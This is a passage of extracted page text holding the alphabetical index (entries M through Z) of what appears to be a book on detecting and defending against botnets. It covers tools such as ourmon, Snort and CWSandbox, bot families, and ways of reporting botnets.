480, "text": "462\nIndex\nrestricting access of, 107\nlogs\nSee also logging\nantivirus software, 198–207\nevent, 184–192\nfirewall, 192–198\nand law enforcement, 394\nourmon event, 324–329, 340\nLopht Crack password cracker, 43\nlost botnet hosts, 330–331\nM\nMAC addresses\nLayer 2 switches and isolation\ntechniques, 151–152\nlocking down, 154\nMacanan, John, 2\nmailing lists, security information,\n402–403\nmalicious operations performed by\nbotnets, 378–383\nMalicious Software Removal Tool\n(Microsoft), 5, 22, 25\nmalware\nSee also specific program\nbackdoors, 111\ndetection, 164–168\ngetting binary updates, 376–378\nman-in-the-middle (MITM) attacks,\n43–44, 87\nMaxwell, Christopher, 21, 51\nmembership organizations,\nqualifications, 403–404, 415\nmesh, botnet environment, 225\nmessages, sniffing IRC, 329–333\nMicrosoft\nSee also specific product\nantivirus reward program, 27\nFile Share system vulnerability, 213\nphishing case, 423\nMicrosoft File Share (CIFS), 150\nMilkit, 12\nmIRC, bot technology and, 9\nMitglieder Trojan, 51\nMITM (man-in-the-middle) attacks,\n43–44, 87\nmoney transfers, ransomware and,\n60–61\nmonitoring\ninfected hosts, 435\nnetworks, tools for, 140–148\nmovie piracy, 55\nMPAA (Motion Picture Arts\nAssociation) and stolen\nintellectual property, 57–58\nMS Blaster worm, 21\nmsdirectx.sys, 103\nmultihoming, and Command and\nControl (C&C) servers, 82\nMy Doom, 12\nMySQL, 169\nMytob bot, 15, 124–128, 131\nN\nnames\nchannel, and hackers, 297\ndomain, 81–82\nmalware, 112\nNANOG (North American\nNetwork Operators Group),\n401\nNAPI architecture, 337\nNaraine, Ryan, 2, 22, 26\nNepenthes, 350, 444\nNetBEUI,Agobot and, 116\nNetBIOS, and botnet scanning, 42\nNetflow, network monitoring with,\n146–148\nnetstat utility, 103\nnetwork based intrusion detection\nsystems (NIDS), 156\nnetwork forensics, 180, 215\nnetwork infrastructure\nnetwork monitoring with SNMP\ntools, Netflow, 140–148\ntools and techniques, 140–143,\n209–210\nnetwork shares and botnet infection,\n130\nnetwork telescope, 177\nnetworks\ninfrastructure. See network\ninfrastructure\nIRC, 288\nngrep tool, 296, 312, 331–332\nNIDS (network based intrusion\ndetection systems), 156\nNorman SandBox, 346\nNTSyslog, 192\nO\nobtaining information from botnets,\n346–348\nOECD (Organization of\nEconomically Cooperating\nDemocracies), 75\nOikarinen, Jarkko, 6\non-demand, on-access scanning, 214\nopen source vs. commercial products,\n174\nOperation Cyberslam, 18, 20\noperations, malicious, performed by\nbotnets, 378–383\noptimizing the system, 334–338, 342\nOrganization of Economically\nCooperating Democracies\n(OECD), 75\norganizational resources on botnet\nthreats, 398–403\nOS X (Macintosh), antivirus software\nfor, 215\nOsterman, Larry, 153\nourmon tool\nanomaly detection principles,\n252–254\nanomaly detection tools generally,\n246–247\narchitecture of, 227–231\nautomated packet capture,\n314–324, 339–340\ncase studies of using, 220–227\ndetecting IRC client botnets,\n298–303\ne-mail anomaly detection,\n275–278\nevent logs, 324–329\ninstalling, 231–238, 241\nIRC facility, 286\noverview of, 218–219, 239–243\nRRDTOOL statistics, IRC\nreports, 290–298\nWeb interface, 247–252, 279–280\nP\nP2P (peer-to-peer)\nand Agobot, 116–118\nbotnets, 86, 452\npacket capture, automated (ourmon),\n314–324, 339–340\npacket size and DoS attacks, 323–324\npacket sniffing, 140\nParson, Jeffrey, 21–22\nPartImage utility, 347\npassword-guessing attacks, 34–36,\n185–187\npasswords\nsniffing, 43\nweak, 108–110\npatches, keeping current, 430\npayloads, retrieving botnet, 41–42\nPcap (Packet Capture Tool), 169\nPcre (Perl Compatible Regular\nExpression Tool), 169\nPE Explorer (dissassembler), 395–396\nperformance\noptimizing system, 334–338\nslow, and botnets, 74\npharming attacks\nPhatbot, 86, 111, 131, 170, 181–182,\n186\nphishing\nbotnet economics of, 62–69\nbotnet-spam and, 54–55\neconomics of, 63\ne-mails and botnets, 31\npreventing, 421–423\nPINGS IRC protocol message, 289,\n290, 330\npiracy, convictions for, 58–60\npkts filter, 221, 337\npolice departments, and cybercrime,\n415\nPolybot, 15, 112\nPONGS IRC protocol message, 289,\n290, 330\nport 25, blocking, 433\nport reports\n" }, { "page_number": 481, "text": "Index\n463\nTCP, 222–223, 237, 246, 255–272,\n283, 301\nUDP, 246, 273–275, 283\nport scanning, 156\nport signatures, 257, 261–262\nports\nblocking, logging, 149–150\nand botnet recruitment, 42–46\nchecking your computer’s open,\n103\nvulnerable, 213, 262\nPreboot Execution Environment\n(PXE), 347\nPretty Park bot client, 7–8\nPRIVMSG IRC protocol message,\n289\nprobes, network monitoring with,\n140–141\nProcess Explorer, 74, 199–201\nProcess Explorer/Monitor, 183\nProtected Storage Service (Windows\n2000), 382–383\nprotocols. See specific protocol\nProvos, Nils, 178\npwdump2, 3, 4, 43\nPXE (Preboot Execution\nEnvironment), 347\nPXE Windows Image Using Linux,\n347\nPyramid of Internet Piracy, 57\nR\nRainbow tables, 44\nrallying botnet clients, 37–41\nRansom A Trojan, 69\nransomware, 60–61, 69\nRBot, 14–15, 34–41, 104–111, 129,\n131, 181–182, 186, 205\nRCPView, 74\nrecruiting, and botnets, 42–46\nRegister of Known Spam Operations\n(ROKSO), 441\nregistry\nAgobot entries, 113–114\nMytob entries, 125–126\nRBot entries, 106\nSDBot entries, 101–102\nSpybot entries, 120–122\nWindows, modification by botnets,\n131\nRelay Black Lists (RBL), 53\nremote access, Rbot and, 34\nRemote Access Trojan (RAT),\n33–34, 100, 443\nremote administration tools, 87\nREN-ISAC (Research and\nEducation\nNetwork–Information\nSharing and Analysis Center),\n403, 436\nreporting\nabuse, 134, 138–139\nof botnet back to botherder, 62\nbotnets to authorities, 434–438\nDNS records, 82\nUDP port, 246\nreports\nC&C botnets, 436–437\nconverting XML to HTML, 359\nCWSandbox analysis, 349–351,\n359–369, 388–389\nemail syn port (ourmon), 275–278\nIRC (ourmon), 290–298\nProtected Storage Service\n(Windows 2000), 382–383\nTCP port, 222–223, 246, 255–272\nUDP port, 273–275\nResearch and Education Network—\nInformation Sharing and\nAnalysis Center (REN-\nISAC), 403\nresources\nSee also Web sites\nantivirus Web sites, 398–399\nBleedingsnort, 170\nfirewalls, books on, 150\nforensic, 207\nhoneypots, 179\nintelligence. See intelligence\nresources\nourmon tool, 219\nSymantec’s Web site, 137\nTCP/IP protocols, 321\nWildList Organization\nInternational, 164–165\nRockefeller, John D., 62\nRoesch, Martin, 168\nRootkit Revealer, 38, 183\nrootkits, 38\nrouters, firewalls and logging,\n148–150\nRRDtool, 144, 220, 226, 230, 231,\n235, 242, 248–250, 291\nRSPAN (Cisco), 213\nRutkowska, Joanna, 352\nS\nSAM password crackers, 43\nsandboxes. See CWSandbox\nSandnet, 347\nSanty worm, 322\nscanning\ndetecting TCP- or UDP-based\nexploits, 246\non-demand, on-access, 214\nservices, 167\ntools used by botnets, 42\ntools and vulnerability attacks,\n32–33\nSchneier, Bruce, 426\nscoopy doo tool, 351\nSDBot, 9–10, 41–42, 98–104, 129\nsearching ourmon event logs,\n325–329, 340–341\nsecuring botnet clients, 37–41\nsecurity\neffective practices, 430–434\npolicies, process, 426–428\nSecurity Accounts Manager (SAM)\ndatabase, 61\nserver bot mesh, 225\nservers\nCommand and Control. See\nCommand and Control\nservers\nIRC botnet, detecting, 304–308\nService Control Manager (SCM),\n370\nService Pack 2, Windows XP, 132\nServU Secure, 57\nShadowserver Foundation, 179,\n401–402\nsignature detection vs. anomaly-based\ntools, 252–253\nsignatures\nantivirus, 162–163\nattack, 158\nport, 257\nSilktools for flow analysis, 147\nSingh, Kapil Kumar, 444\nSinit P2P botnet, 86\nsinkholing servers, 83\nSiwek, Stephen E., 55\nSlade, Robert, 155\nSmurf attacks, 49\nsniffers, network monitoring with,\n140–141, 143\nsniffing\ninfected hosts, 435\nIRC messages, 329–333, 341\nSNMP Remote Monitoring\n(RMON), 141\nSNMP tools, network monitoring\nwith, 143–146\nSnort intrusion detection, 168–172,\n253\nSober worm, 125\nSoBig vrus, 27\nSocial Security Account Numbers\n(SSANs), 61\nsoftware\nSee also specific product\nantivirus (A/V), 161–165, 214\nengineering, halting problem,\n425–426\nopen source vs. commercial, 174\nSourcefire Vulnerability Research\nTeam (VRT), 169\nSpafford, Eugene, 173\nspam\nand abuse, 139–140\nBlue Security anti-spam company,\n438–444\nbotnet-spam, 51–55, 62–69\ndetecting with ourmon, 242\nin Instant Messaging (SPIM), 10,\n16, 32\npreventing, 421–423\n" }, { "page_number": 482, "text": "464\nIndex\nRegister of Known Spam\nOperations (ROKSO), 441\nSpamhous Project, 179, 441\nSpamThru Trojan, 52–53\nSPIM (Spam for Instant Messaging),\n10, 16, 32\nSpitzner, Lance, 178\nspoofing\nARP, 152, 153\nIP address source, 257–258\nSpybot, 12–14, 118–124, 130, 131\nSQL Slammer attacks, 254, 272–273\nSSANs (Social Security Account\nNumbers), and data mining,\n61\nSSH-1, and Cain and Abel tool, 44\nSteigerwalt, Raymond, 17\nStewart, Joe, 52, 53, 86, 170, 213, 347\nstolen intellectual property, 55–60\nstripcharts (ourmon), 220–221\nSubSeven Trojan/bot, 8\nSVKP.sys, 102\nSwatch log analysis tool, 198\nswitch forwarding table overflow,\n152, 153\nswitch port graphs, 144–145\nswitches\nLayer 2, 151–155\nLayer 7, 160\nSYN flood attacks, 47–48\nsystem dependencies, ourmon tool,\n234–235\nSystem Internals tool Autoruns,\n203–204\nsystem, optimizing, 334–338, 342\nSzor, Peter, 167\nT\ntaxonomy of phishing operation,\n54–55\nTCP anomaly detection (ourmon),\n255–272, 281\nTCP/IP protocols, 321\nTCP port reports, 222–223, 237,\n246, 255–272, 283, 301\nTCP Syn Flood attacks, 46–47\nTCP work weight, 229, 251,\n265–267, 273, 296, 303, 311\ntcpdump sniffer, 296\nTCPView, 183, 201\ntechniques, forensic, for botnet\ndetection, 179–207\ntemplates for converting XML to\nHTML documents, 369\nThemida (Oreans Technology), 397\nThompson, Ken, 175\nTHr34t-Krew hacking group, 16\nTime to Live (TTL) setting, 90\nTomlin, Chas, 347\ntools\nnetwork infrastructure, 140–143\nremote administration, 87\nused by botnets, 42\nTor (tool), 30\ntraffic, blocking botnet-related, 418\ntriggers\nanomaly detection, 317–324\nautomated packet capture,\n314–317\nreal-world examples of using,\n319–324\nTrojan ports, 213\nTrojans\nSee also specific virus, worm;Trojan\nbackdoors left by, 33–34\nand botnets, 31, 79–81\ndescribed, 79\nRemote Access Trojan (RAT),\n33–34, 100, 443\nviewing information on known,\n399–403\ntroubleshooting your computer for\nbotnets, 73–75\nTruman,The Reusable Unknown\nMalware Analysis Net, 347\nTTAnalyze, 346–347\nTTL (Time to Live) setting, 90\ntwoworm trigger, 317\nU\nUDP anomaly detection (ourmon),\n272–275, 282\nUDP Flood attacks, 48\nUDP flows, sampling, 147\nUDP port reports, 246, 273–275, 283\nUDP weight graphs, 246\nUDP work weights, 251, 273, 317\nunicast segmentation described, 151\nUNIX\nourmon tool. See ourmon tool\nwhois command, 138–139\nURL data bots, 84\nV\nvetting organization members, 404\nviewing information on known bots,\nTrojans, 399–403\nvirtual machines, detecting, 351–352\nvirus checkers, 432\nviruses\nSee also specific virus\nbotnets. See botnets\ndetecting on hosts, 160–165\nVirusTotal Web site, 167\nVLANs (virtual LANs), isolation\ntechniques, 155\nVMWare, 351\nvulnerabilities\ncommonly exploited by bots,\n32–33\nMicrosoft File Share system\nvulnerability, 213\nW\nW32.Glieder.AK Trojan, 51\nW32.spybot.won\nweak passwords, 108–110\nWeb-based C&C servers, 83–86\nWeb sites\nantivirus resources, 167\ninternational, using to delay law\nenforcement, 423–424\nintelligence resources, 398–403\nourmon tool, 219\nsecurity-related information, 402\nSourceforge, 147\nspam-related services, 140\nSymantic’s, 137\nWHOIS information, 139\nWeb surfing, 430\nWeimer, Florian, 91\nWestern Union, phishing and, 63\nwget application, 336\nwhois command (UNIX), 138–139\nWildList Organization International,\n164–165\nWindows\nbotnet registry modification, 131\nchecking open ports on, 103\nand Clark’s DDoS attack, 20\nWindows 2000, Protected Storage\nService, 382–383\nWindows Firewall logs, 74, 192–198,\n431\nWindows Malicious Software\nRemoval Tool, 5, 22, 25\nWindows XP, firewall log\nmonitoring, 74, 431\nWindows XP Service Pack 2, 132\nWinPCap (Windows Packet Capture\nLibrary), 169\nworm graphs, 222–223, 246,\n267–269\nworms\nSee also specific worm\nbackdoors left by Trojans, 33–34\nover Instant Messaging, 86–87\nSDBot family of, 9–10\nZ\nZango, 50, 61\nzero-day attacks, 253\nZippy ransomware, 69\nzombies and botnets, 31, 225\nZone alarm, 431\nzones, drop, 87–89\nZotob worm, 21\n" } ] }